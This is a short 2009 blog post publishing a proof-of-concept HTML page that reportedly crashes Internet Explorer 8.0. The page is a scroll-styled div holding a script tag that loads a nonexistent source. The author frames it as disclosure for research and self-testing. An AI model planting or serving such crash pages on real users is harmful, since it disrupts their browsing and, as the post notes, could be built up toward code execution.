IE 8.0 Exploit Proof of Concept (PoC)
Last Updated on Saturday, 27 March 2010 11:52 Written by DarkKnightH20 Sunday, 30 August 2009 04:20
I hate Internet Explorer 8.0…And I mean HATE. It crashes frequently for really no good reason, and is just overall not wanting to perform any of the actions I want it to do. In an unrelated post, here’s a PoC (Proof of Concept) code for crashing Internet Explorer 8.0–
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional http://www.w3.org/TR/html4/strict.dtd">
<html>
<body>
<div style = "width: 100%; max-height: 400px; overflow: scroll;">
<script type="text/javascript" src="nichtvorhanden"></script>
<script type="text/javascript"></script>
</div>
</body>
</html>
Internet Explorer 8.0 users should await a patch and be careful of websites that they visit. Though this specific example only crashes the browser, it may be possible to alter it to cause even more damage such as the execution of malicious code. This Proof of Concept should not be used maliciously and should only be used for research, self-testing, etc.
Credit: schnuddelbuddel
Tags: Security